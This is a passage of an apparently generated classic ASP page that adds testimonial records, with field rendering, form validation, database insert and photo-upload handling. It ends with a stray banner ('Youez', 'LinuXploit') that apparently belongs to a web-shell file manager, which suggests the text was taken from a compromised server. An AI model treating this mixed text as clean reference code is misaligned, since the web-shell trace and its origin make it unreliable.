			testimonials.ID.ViewCustomAttributes = ""

			' Opinion
			testimonials.Opinion.ViewValue = testimonials.Opinion.CurrentValue
			testimonials.Opinion.ViewCustomAttributes = ""

			' Name
			testimonials.Name.ViewValue = testimonials.Name.CurrentValue
			testimonials.Name.ViewCustomAttributes = ""

			' Designation
			testimonials.Designation.ViewValue = testimonials.Designation.CurrentValue
			testimonials.Designation.ViewCustomAttributes = ""

			' Photo
			testimonials.Photo.UploadPath = "../uploads/testimonials"
			If Not ew_Empty(testimonials.Photo.Upload.DbValue) Then
				testimonials.Photo.ViewValue = testimonials.Photo.Upload.DbValue
				testimonials.Photo.ViewValue = testimonials.Photo.Upload.DbValue
			Else
				testimonials.Photo.ViewValue = ""
			End If
			testimonials.Photo.ViewCustomAttributes = ""

			' Enable
			If Not IsNull(testimonials.Enable.CurrentValue) Then
				testimonials.Enable.ViewValue = testimonials.Enable.OptionCaption(testimonials.Enable.CurrentValue)
			Else
				testimonials.Enable.ViewValue = Null
			End If
			testimonials.Enable.ViewCustomAttributes = ""

			' View refer script
			' Opinion

			testimonials.Opinion.LinkCustomAttributes = ""
			testimonials.Opinion.HrefValue = ""
			testimonials.Opinion.TooltipValue = ""

			' Name
			testimonials.Name.LinkCustomAttributes = ""
			testimonials.Name.HrefValue = ""
			testimonials.Name.TooltipValue = ""

			' Designation
			testimonials.Designation.LinkCustomAttributes = ""
			testimonials.Designation.HrefValue = ""
			testimonials.Designation.TooltipValue = ""

			' Photo
			testimonials.Photo.LinkCustomAttributes = ""
			testimonials.Photo.HrefValue = ""
			testimonials.Photo.HrefValue2 = testimonials.Photo.UploadPath & testimonials.Photo.Upload.DbValue
			testimonials.Photo.TooltipValue = ""

			' Enable
			testimonials.Enable.LinkCustomAttributes = ""
			testimonials.Enable.HrefValue = ""
			testimonials.Enable.TooltipValue = ""

		'
		' Add Row
		'

		ElseIf testimonials.RowType = EW_ROWTYPE_ADD Then ' Add row

			' Opinion
			Call testimonials.Opinion.EditAttrs.UpdateAttribute("class", "form-control")
			testimonials.Opinion.EditCustomAttributes = ""
			testimonials.Opinion.EditValue = ew_HtmlEncode(testimonials.Opinion.CurrentValue)
			testimonials.Opinion.PlaceHolder = ew_HtmlEncode(ew_RemoveHtml(testimonials.Opinion.FldCaption))

			' Name
			Call testimonials.Name.EditAttrs.UpdateAttribute("class", "form-control")
			testimonials.Name.EditCustomAttributes = ""
			testimonials.Name.EditValue = ew_HtmlEncode(testimonials.Name.CurrentValue)
			testimonials.Name.PlaceHolder = ew_HtmlEncode(ew_RemoveHtml(testimonials.Name.FldCaption))

			' Designation
			Call testimonials.Designation.EditAttrs.UpdateAttribute("class", "form-control")
			testimonials.Designation.EditCustomAttributes = ""
			testimonials.Designation.EditValue = ew_HtmlEncode(testimonials.Designation.CurrentValue)
			testimonials.Designation.PlaceHolder = ew_HtmlEncode(ew_RemoveHtml(testimonials.Designation.FldCaption))

			' Photo
			Call testimonials.Photo.EditAttrs.UpdateAttribute("class", "form-control")
			testimonials.Photo.EditCustomAttributes = ""
			testimonials.Photo.UploadPath = "../uploads/testimonials"
			If Not ew_Empty(testimonials.Photo.Upload.DbValue) Then
				testimonials.Photo.EditValue = testimonials.Photo.Upload.DbValue
				testimonials.Photo.EditValue = testimonials.Photo.Upload.DbValue
			Else
				testimonials.Photo.EditValue = ""
			End If
			If (testimonials.CurrentAction = "I" Or testimonials.CurrentAction = "C") And Not testimonials.EventCancelled Then Call ew_RenderUploadField(testimonials.Photo, -1)

			' Enable
			testimonials.Enable.EditCustomAttributes = ""
			testimonials.Enable.EditValue = testimonials.Enable.Options(False)

			' Add refer script
			' Opinion

			testimonials.Opinion.LinkCustomAttributes = ""
			testimonials.Opinion.HrefValue = ""

			' Name
			testimonials.Name.LinkCustomAttributes = ""
			testimonials.Name.HrefValue = ""

			' Designation
			testimonials.Designation.LinkCustomAttributes = ""
			testimonials.Designation.HrefValue = ""

			' Photo
			testimonials.Photo.LinkCustomAttributes = ""
			testimonials.Photo.HrefValue = ""
			testimonials.Photo.HrefValue2 = testimonials.Photo.UploadPath & testimonials.Photo.Upload.DbValue

			' Enable
			testimonials.Enable.LinkCustomAttributes = ""
			testimonials.Enable.HrefValue = ""
		End If
		If testimonials.RowType = EW_ROWTYPE_ADD Or testimonials.RowType = EW_ROWTYPE_EDIT Or testimonials.RowType = EW_ROWTYPE_SEARCH Then ' Add/Edit/Search row
			Call testimonials.SetupFieldTitles
		End If

		' Call Row Rendered event
		If testimonials.RowType <> EW_ROWTYPE_AGGREGATEINIT Then
			Call testimonials.Row_Rendered
		End If
	End Sub

	'
	' Validate form
	'
	Function ValidateForm()

		' Initialize
		gsFormError = ""

		' Check if validation required
		If Not EW_SERVER_VALIDATE Then
			ValidateForm = (gsFormError = "")
			Exit Function
		End If
		If testimonials.Enable.FormValue&"" = "" Then
			Call ew_AddMessage(gsFormError, Replace(testimonials.Enable.ReqErrMsg, "%s", testimonials.Enable.FldCaption))
		End If

		' Return validate result
		ValidateForm = (gsFormError = "")

		' Call Form Custom Validate event
		Dim sFormCustomError
		sFormCustomError = ""
		ValidateForm = ValidateForm And Form_CustomValidate(sFormCustomError)
		If sFormCustomError <> "" Then
			Call ew_AddMessage(gsFormError, sFormCustomError)
		End If
	End Function

	'
	' Add record
	'
	Function AddRow(RsOld)
		If Not EW_DEBUG_ENABLED Then On Error Resume Next
		Dim cnn, Rs, sSql, sFilter
		Dim RsNew
		Dim bInsertRow
		Dim RsChk
		Dim sIdxErrMsg

		' Clear any previous errors
		Err.Clear
		Dim RsMaster, sMasterUserIdMsg, sMasterFilter, bCheckMasterRecord, bValidMasterKey
		Set cnn = testimonials.TableConnection

		' Load db values from rsold
		Call LoadDbValues(RsOld)
		If Not IsNull(RsOld) Then
			testimonials.Photo.OldUploadPath = "../uploads/testimonials"
			testimonials.Photo.UploadPath = testimonials.Photo.OldUploadPath
		End If

		' Add new record
		sFilter = "(0 = 1)"
		testimonials.CurrentFilter = sFilter
		sSql = testimonials.UpdateTableSQL
		Set Rs = Server.CreateObject("ADODB.Recordset")
		Rs.CursorLocation = testimonials.TableCursorLocation
		Call ew_SetDebugMsg("AddRow: " & sSql) ' Show SQL for debugging
		Rs.Open sSql, cnn, 1, testimonials.TableRecordsetLockType
		Rs.AddNew
		If Err.Number <> 0 Then
			Message = Err.Description
			Rs.Close
			Set Rs = Nothing
			AddRow = False
			Exit Function
		End If

		' Field Opinion
		Call testimonials.Opinion.SetDbValue(Rs, testimonials.Opinion.CurrentValue, Null, False)

		' Field Name
		Call testimonials.Name.SetDbValue(Rs, testimonials.Name.CurrentValue, Null, False)

		' Field Designation
		Call testimonials.Designation.SetDbValue(Rs, testimonials.Designation.CurrentValue, Null, False)

		' Field Photo
		If testimonials.Photo.Visible And Not testimonials.Photo.Upload.KeepFile Then
			testimonials.Photo.Upload.DbValue = "" ' No need to delete old file
			If testimonials.Photo.Upload.FileName & "" = "" Then
				Rs("Photo") = Null
			Else
				Rs("Photo") = testimonials.Photo.Upload.FileName
			End If
		End If

		' Field Enable
		Call testimonials.Enable.SetDbValue(Rs, testimonials.Enable.CurrentValue, Null, False)

		' Check recordset update error
		If Err.Number <> 0 Then
			FailureMessage = Err.Description
			Rs.Close
			Set Rs = Nothing
			AddRow = False
			Exit Function
		End If
		If testimonials.Photo.Visible And Not testimonials.Photo.Upload.KeepFile Then
			testimonials.Photo.UploadPath = "../uploads/testimonials"
			TmpOldFiles = ew_IIf(ew_Empty(testimonials.Photo.Upload.DbValue), Array(), Array(testimonials.Photo.Upload.DbValue))
			If Not ew_Empty(testimonials.Photo.Upload.FileName) Then
				TmpNewFiles = Array(testimonials.Photo.Upload.FileName)
				TmpNewFileCount = UBound(TmpNewFiles) + 1
				For i = 0 to TmpNewFileCount - 1
					TmpFldVar = ew_IIf(testimonials.Photo.Upload.Index < 0, testimonials.Photo.FldVar, Mid(testimonials.Photo.FldVar, 1, 1) & testimonials.Photo.Upload.Index & Mid(testimonials.Photo.FldVar, 2))
					If TmpNewFiles(i) <> "" Then
						If ew_FileExists(ew_UploadTempPath(TmpFldVar, testimonials.Photo.TblVar), TmpNewFiles(i)) Then
							TmpFile = TmpNewFiles(i)
							OldFileFound = False
							TmpOldFileCount = UBound(TmpOldFiles) + 1
							For j = 0 to TmpOldFileCount - 1
								If TmpOldFiles(j) = TmpFile Then ' Old file found, no need to delete anymore
									TmpOldFiles = ew_ArrayDiff(TmpOldFiles, Array(TmpFile)) ' ASP
									OldFileFound = True
									Exit For
								End If
							Next
							If Not OldFileFound Then 
								TmpFile1 = ew_UploadFileNameEx(testimonials.Photo.PhysicalUploadPath, TmpFile) ' Get new file name
								If TmpFile1 <> TmpFile Then
									Do While ew_FileExists(ew_UploadTempPath(TmpFldVar, testimonials.Photo.TblVar), TmpFile1) Or ew_FileExists(testimonials.Photo.PhysicalUploadPath, TmpFile1) ' Make sure no file name clash
										TmpFile1 = ew_UniqueFilename(testimonials.Photo.PhysicalUploadPath, TmpFile1, True) ' Use indexed name
									Loop
									Call ew_RenameFile(ew_UploadTempPath(TmpFldVar, testimonials.Photo.TblVar) & TmpFile, ew_UploadTempPath(TmpFldVar, testimonials.Photo.TblVar) & TmpFile1) ' Rename temp file
									TmpNewFiles(i) = TmpFile1 ' Update new file name
								End If
							End If
						End If
					End If
				Next
				If ew_Empty(TmpOldFiles) Then
					testimonials.Photo.Upload.DbValue = ""
				Else
					testimonials.Photo.Upload.DbValue = Join(TmpOldFiles, EW_MULTIPLE_UPLOAD_SEPARATOR)
				End If
				testimonials.Photo.Upload.FileName = Join(TmpNewFiles, EW_MULTIPLE_UPLOAD_SEPARATOR)
				Call testimonials.Photo.SetDbValue(Rs, testimonials.Photo.Upload.FileName, Null, False)
			End If
		End If

		' Call Row Inserting event
		bInsertRow = testimonials.Row_Inserting(RsOld, Rs)
		If bInsertRow Then

			' Clone new recordset object
			Set RsNew = ew_CloneRs(Rs)
			Call ew_SetDebugMsg("Insert: " & ew_HtmlEncode(ew_RecordToJson(RsNew))) ' Show data for debugging
			Rs.Update
			If Err.Number <> 0 Then
				FailureMessage = Err.Description
				AddRow = False
			Else
				AddRow = True
			End If
			If AddRow Then
				testimonials.ID.DbValue = RsNew("ID") ' Get insert id if necessary
				If testimonials.Photo.Visible And Not testimonials.Photo.Upload.KeepFile Then
					TmpOldFiles = ew_IIf(ew_Empty(testimonials.Photo.Upload.DbValue), Array(), Array(testimonials.Photo.Upload.DbValue))
					If Not ew_Empty(testimonials.Photo.Upload.FileName) Then
						TmpNewFiles = Array(testimonials.Photo.Upload.FileName)
						TmpNewFiles2 = Array(Rs("Photo"))
						TmpNewFileCount = UBound(TmpNewFiles) + 1
						For i = 0 to TmpNewFileCount - 1
							TmpFldVar = ew_IIf(testimonials.Photo.Upload.Index < 0, testimonials.Photo.FldVar, Mid(testimonials.Photo.FldVar, 1, 1) & testimonials.Photo.Upload.Index & Mid(testimonials.Photo.FldVar, 2))
							If TmpNewFiles(i) <> "" Then
								If ew_FileExists(ew_UploadTempPath(TmpFldVar, testimonials.Photo.TblVar), TmpNewFiles(i)) Then
									TmpFile = ew_UploadTempPath(TmpFldVar, testimonials.Photo.TblVar) & TmpNewFiles(i)
									testimonials.Photo.Upload.Value = ew_LoadBinaryFile(TmpFile)
									If UBound(TmpNewFiles2) >= i Then
										If TmpNewFiles2(i) <> "" Then  ' Use correct file name
											TmpNewFiles(i) = TmpNewFiles2(i)
										End If
									End If
									TmpFile = TmpNewFiles(i)
									If Not testimonials.Photo.Upload.SaveToFile(TmpFile, True) Then
										FailureMessage = Language.Phrase("UploadErrMsg7")
									End If
								End If
							End If
						Next
					Else
						TmpNewFiles = Array()
					End If
					TmpOldFileCount = UBound(TmpOldFiles) + 1
					For i = 0 to TmpOldFileCount - 1
						If TmpOldFiles(i) <> "" And Not ew_InArray(TmpOldFiles(i), TmpNewFiles) Then
							Call ew_DeleteFile(testimonials.Photo.OldPhysicalUploadPath & TmpOldFiles(i))
						End If
					Next
				End If
			End If
		Else
			Rs.CancelUpdate

			' Set up error message
			If SuccessMessage <> "" Or FailureMessage <> "" Then

				' Use the message, do nothing
			ElseIf testimonials.CancelMessage <> "" Then
				FailureMessage = testimonials.CancelMessage
				testimonials.CancelMessage = ""
			Else
				FailureMessage = Language.Phrase("InsertCancelled")
			End If
			AddRow = False
		End If
		Rs.Close
		Set Rs = Nothing
		If AddRow Then

			' Call Row Inserted event
			Call testimonials.Row_Inserted(RsOld, RsNew)
		End If

		' Photo
		Call ew_CleanUploadTempPath(testimonials.Photo, testimonials.Photo.Upload.Index)
		If ew_NotEmpty(RsNew) Then
			RsNew.Close
			Set RsNew = Nothing
		End If
	End Function

	' Set up Breadcrumb
	Sub SetupBreadcrumb()
		Dim PageId, url
		Set Breadcrumb = New cBreadcrumb
		url = Mid(ew_CurrentUrl(), InStrRev(ew_CurrentUrl(), "/") + 1)
		Call Breadcrumb.Add("list", testimonials.TableVar, testimonials.AddMasterUrl("testimonialslist.asp"), "", testimonials.TableVar, True)
		PageId = ew_IIf(testimonials.CurrentAction = "C", "Copy", "Add")
		Call Breadcrumb.Add("add", PageId, url, "", "", False)
	End Sub

	' Setup lookup filters of a field
	Sub SetupLookupFilters(fld, pageId)
		pageId = ew_IIf(ew_EmptyStr(pageId), testimonials_add.PageID, pageId)
		Select Case fld.FldVar
		End Select
	End Sub

	' Setup AutoSuggest filters of a field
	Sub SetupAutoSuggestFilters(fld, pageId)
		pageId = ew_IIF(ew_EmptyStr(pageId), testimonials_add.PageID, pageId)
		Select Case fld.FldVar
		End Select
	End Sub

	' Page Load event
	Sub Page_Load()

		'Response.Write "Page Load"
	End Sub

	' Page Unload event
	Sub Page_Unload()

		'Response.Write "Page Unload"
	End Sub

	' Page Redirecting event
	Sub Page_Redirecting(url)

		'url = newurl
	End Sub

	' Message Showing event
	' typ = ""|"success"|"failure"|"warning"
	Sub Message_Showing(msg, typ)

		' Example:
		'If typ = "success" Then
		'	msg = "your success message"
		'ElseIf typ = "failure" Then
		'	msg = "your failure message"
		'ElseIf typ = "warning" Then
		'	msg = "your warning message"
		'Else
		'	msg = "your message"
		'End If

	End Sub

	' Page Render event
	Sub Page_Render()

		'Response.Write "Page Render"
	End Sub

	' Page Data Rendering event
	Sub Page_DataRendering(header)

		' Example:
		'header = "your header"

	End Sub

	' Page Data Rendered event
	Sub Page_DataRendered(footer)

		' Example:
		'footer = "your footer"

	End Sub

	' Form Custom Validate event
	Function Form_CustomValidate(CustomError)

		'Return error message in CustomError
		Form_CustomValidate = True
	End Function
End Class
%>

Youez - 2016 - github.com/yon3zu
LinuXploit